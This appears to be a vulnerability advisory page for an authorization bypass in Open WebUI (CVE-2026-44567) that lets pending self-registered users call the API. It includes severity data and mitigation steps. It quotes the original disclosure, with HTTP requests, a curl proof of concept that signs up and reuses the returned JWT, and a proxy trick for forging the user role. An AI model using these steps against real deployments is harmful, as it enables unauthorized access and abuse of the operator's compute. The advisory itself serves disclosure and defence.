CVE-2026-44567: Open WebUI: auth bypass gives pending users full LLM access

GHSA-4vg5-rp28-gvjf HIGH CISA: TRACK*
Published May 8, 2026
CISO Take

Open WebUI versions up to 0.1.123 contain a missing server-side authorization check that allows any self-registered user — regardless of their pending approval status — to immediately authenticate against all API endpoints using a valid JWT, including direct LLM inference queries. The vulnerability is trivially exploitable: an attacker registers an account, receives a JWT in the sign-up response, and calls protected endpoints without admin approval; the get_current_user() function validates token signature but never checks user role, and get_verified_user() (which does enforce role checks) was applied to only one endpoint at the time of discovery. While no public exploit exists and the vulnerability is not in CISA KEV, the CVSS 7.3 score, zero-barrier exploitation (no prior access required), and open-webui's history of 52 tracked CVEs make this a credible risk for any organization running Open WebUI with public sign-ups enabled. Upgrade to version 0.1.124 immediately, or disable public sign-ups as an interim workaround and audit server logs for API calls originating from pending-role JWT tokens.

Sources: GitHub Advisory NVD ATLAS

What is the risk?

HIGH risk for any internet-exposed Open WebUI instance with sign-up enabled — which is the default configuration. Exploitation requires only network access and the ability to register an account, making this effectively a zero-privilege, zero-interaction attack. The affected surface is the entire regular-user API layer, not a single endpoint. Risk is substantially reduced for private deployments where self-registration is disabled or invite-only. The package's track record of 52 CVEs and a risk score of 38/100 signals a pattern of security debt that warrants heightened attention.

How does the attack unfold?

Account Registration
Attacker registers a new account via POST /api/v1/auths/signup with any email, receiving a valid signed JWT despite being assigned role=pending.
AML.T0021
Authorization Bypass
Attacker calls authenticated endpoints using the pending-role JWT; get_current_user() validates token signature but never checks role, granting full access.
AML.T0049
Model Enumeration
Attacker queries GET /ollama/api/tags to discover all loaded LLM models including model sizes, families, and quantization details.
AML.T0040
Unauthorized LLM Exploitation
Attacker runs unrestricted inference queries for cost harvesting, system prompt extraction, or to use the organization's GPU compute as a free inference resource.
AML.T0034

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.1.123 0.1.124
142.4K Pushed 4d ago 77% patched ~5d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
7.3 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 14% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C Low
I Low
A Low

What should I do?

5 steps
  1. PATCH

    upgrade open-webui to version 0.1.124 or later immediately — this release replaces get_current_user() with get_verified_user() across all affected endpoints.

  2. WORKAROUND (if patching is delayed): disable public sign-ups in the Admin settings panel to prevent new pending accounts from being created.

  3. AUDIT

    query your user database for accounts with role=pending and cross-reference against API access logs for any matching JWT activity — any hit indicates exploitation.

  4. ROTATE

    if exploitation is suspected, rotate the JWT signing secret to invalidate all outstanding tokens.

  5. MONITOR

    add an alert for authenticated API calls (non-401 responses) originating from pending-role accounts going forward.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable Yes
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 9 - Risk Management System
ISO 42001
A.8.4 - AI System Security Controls
NIST AI RMF
GOVERN 1.2 - Accountability and Oversight Mechanisms
OWASP LLM Top 10
LLM10:2025 - Unbounded Consumption

Frequently Asked Questions

What is CVE-2026-44567?

Open WebUI versions up to 0.1.123 contain a missing server-side authorization check that allows any self-registered user — regardless of their pending approval status — to immediately authenticate against all API endpoints using a valid JWT, including direct LLM inference queries. The vulnerability is trivially exploitable: an attacker registers an account, receives a JWT in the sign-up response, and calls protected endpoints without admin approval; the get_current_user() function validates token signature but never checks user role, and get_verified_user() (which does enforce role checks) was applied to only one endpoint at the time of discovery. While no public exploit exists and the vulnerability is not in CISA KEV, the CVSS 7.3 score, zero-barrier exploitation (no prior access required), and open-webui's history of 52 tracked CVEs make this a credible risk for any organization running Open WebUI with public sign-ups enabled. Upgrade to version 0.1.124 immediately, or disable public sign-ups as an interim workaround and audit server logs for API calls originating from pending-role JWT tokens.

Is CVE-2026-44567 actively exploited?

No confirmed active exploitation of CVE-2026-44567 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-44567?

1. PATCH: upgrade open-webui to version 0.1.124 or later immediately — this release replaces get_current_user() with get_verified_user() across all affected endpoints. 2. WORKAROUND (if patching is delayed): disable public sign-ups in the Admin settings panel to prevent new pending accounts from being created. 3. AUDIT: query your user database for accounts with role=pending and cross-reference against API access logs for any matching JWT activity — any hit indicates exploitation. 4. ROTATE: if exploitation is suspected, rotate the JWT signing secret to invalidate all outstanding tokens. 5. MONITOR: add an alert for authenticated API calls (non-401 responses) originating from pending-role accounts going forward.

What systems are affected by CVE-2026-44567?

This vulnerability affects the following AI/ML architecture patterns: Self-hosted LLM deployments, Model serving, AI chat interfaces.

What is the CVSS score for CVE-2026-44567?

CVE-2026-44567 has a CVSS v3.1 base score of 7.3 (HIGH). The EPSS exploitation probability is 0.23%.

What is the AI security impact?

Affected AI Architectures

Self-hosted LLM deploymentsModel servingAI chat interfaces

MITRE ATLAS Techniques

AML.T0021 Establish Accounts
AML.T0034 Cost Harvesting
AML.T0040 AI Model Inference API Access
AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Art. 9
ISO 42001: A.8.4
NIST AI RMF: GOVERN 1.2
OWASP LLM Top 10: LLM10:2025

What are the technical details?

Original Advisory

# **CONFIDENTIAL** # Vulnerability Disclosure Analysis Documentation --- ## Vulnerability Details | # | Field | Value | |---|-------|-------| | 1 | **Discoverer** | Taylor Pennington of KoreLogic, Inc. | | 2 | **Date Submitted** | June 11, 2024 | | 3 | **Title** | Open WebUI Improper Authorization Control | | 5 | **Affected Vendor** | Open WebUI | | 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) | | 7 | **Affected Version(s)** | 0.1.105 | | 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) | | 9 | **Vector** | HTTP web interface | | 10 | **CWE** | 285 Improper Authorization | --- ## 4. High-level Summary There is a missing authorization check affecting user accounts with a `pending` status allowing the user to make authenticated API calls as a `user` context. --- ## 11. Technical Analysis The Open WebUI web application has three user role classifications: `user`, `admin`, and `pending`. By default, when Open WebUI is configured with `new sign-ups` enabled, the default user role is set to `pending`. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either `user` or `admin` before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of `user`. ### Request ```http POST /api/v1/auths/signup HTTP/1.1 Host: openwebui.example.com Content-Length: 60 { "name": "", "email": "bad_guy@korelogic.com", "password": "a" } ``` ### Response ```http HTTP/1.1 200 OK ... { "id": "f839557a-031a-47a5-9999-0b0998f8f959", "email": "bad_guy@korelogic.com", "name": "", "role": "pending", "profile_image_url": "/user.png", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs", "token_type": "Bearer" } ``` An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI. With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the `/ollama/api/tags` endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP `401 Unauthorized` response. ### Request ```http GET /ollama/api/tags HTTP/1.1 Host: openwebui.example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs ``` ### Response ```http HTTP/1.1 200 OK ... { "models": [ { "name": "ollama.com/emsi/mixtral-8x22b:latest", "model": "ollama.com/emsi/mixtral-8x22b:latest", "modified_at": "2024-04-12T17:27:51.479356401-04:00", "size": 79509285991, "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319", "details": { "parent_model": "", "format": "gguf", "family": "llama", "families": ["llama"], "parameter_size": "141B", "quantization_level": "Q4_0" }, "urls": [0] }, ... ] } ``` The logic for this endpoint can be seen here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180> As shown below, the login checks if `url_idx` is `None` and if so, call `get_all_mdoels` and assign the result to `models` after that the logic checks if `app.state.MODEL_FILTER_ENABLED` is true and if not, it returns the result. As `MODEL_FILTER_ENABLED` is not configured by default, the application will not attempt to further validate the user. ```python @app.get("/api/tags") @app.get("/api/tags/{url_idx}") async def get_ollama_tags( url_idx: Optional[int] = None, user=Depends(get_current_user) ): if url_idx == None: models = await get_all_models() if app.state.MODEL_FILTER_ENABLED: if user.role == "user": models["models"] = list( filter( lambda model: model["name"] in app.state.MODEL_FILTER_LIST, models["models"], ) ) return models return models ``` This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user. The vulnerability is caused by a missing authorization check that occurs with `user=Depends(get_current_user)`. The logic of that function is found here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97> ```python def get_current_user( auth_token: HTTPAuthorizationCredentials = Depends(bearer_security), ): # auth by api key if auth_token.credentials.startswith("sk-"): return get_current_user_by_api_key(auth_token.credentials) # auth by jwt token data = decode_token(auth_token.credentials) if data != None and "id" in data: user = Users.get_user_by_id(data["id"]) if user is None: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.INVALID_TOKEN, ) return user else: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.UNAUTHORIZED, ) ``` As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid. --- ## 12. Proof-of-Concept First, verify that an unauthenticated user receives `{"detail":"401 Unauthorized"}`: ```bash curl -s -X $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ $'https://openwebui.example.com/ollama/api/tags' ``` The above curl command will return: `{"detail":"401 Unauthorized"}` as no Authorization Bearer token is provided. Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the `$JWT` environment variable which will be utilized in the subsequent cURL command. ```bash export JWT=$(curl -s -X POST \ -H 'Host: openwebui.example.com' -H 'Content-Length: 60' \ -H 'Content-Type: application/json' \ --data '{"name":"","email":"bad_guy@korelogic.com","password":"a"}' \ 'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"') curl -v $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ -H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'https://openwebui.example.com/ollama/api/tags' ``` Additionally the `"role":"pending"` value in the HTTP response can be forged from `POST /api/v1/auths/signin` and `GET /api/v1/auths/` to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying `pending` to `user`. --- ## 13. Mitigation Recommendation The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116> for the correct function to use. ```python def get_verified_user(user=Depends(get_current_user)): if user.role not in {"user", "admin"}: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.ACCESS_PROHIBITED, ) return user ``` Modify all authenticated endpoints to utilize `get_verified_user()` function instead of `get_current_user()`.

Exploitation Scenario

An attacker discovers a publicly accessible Open WebUI instance via Shodan or passive DNS reconnaissance. They POST to /api/v1/auths/signup with any email and receive a JWT in the response bearing role=pending. Rather than waiting for admin approval (which is the intended workflow), they immediately use the JWT to call GET /ollama/api/tags, enumerate all loaded models including a 141B parameter Mixtral instance, and begin sending inference requests. In a cost-harvesting scenario, they run batch queries continuously to drain the organization's GPU budget. In a more targeted attack, they use LLM access to extract system prompt configurations, generate phishing content impersonating the victim organization, or probe for RAG-connected data sources through carefully crafted prompts.

Weaknesses (CWE)

CWE-862 — Missing Authorization: The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

  • [Architecture and Design] Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • [Architecture and Design] Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Timeline

Published
May 8, 2026
Last Modified
May 8, 2026
First Seen
May 9, 2026

Related Vulnerabilities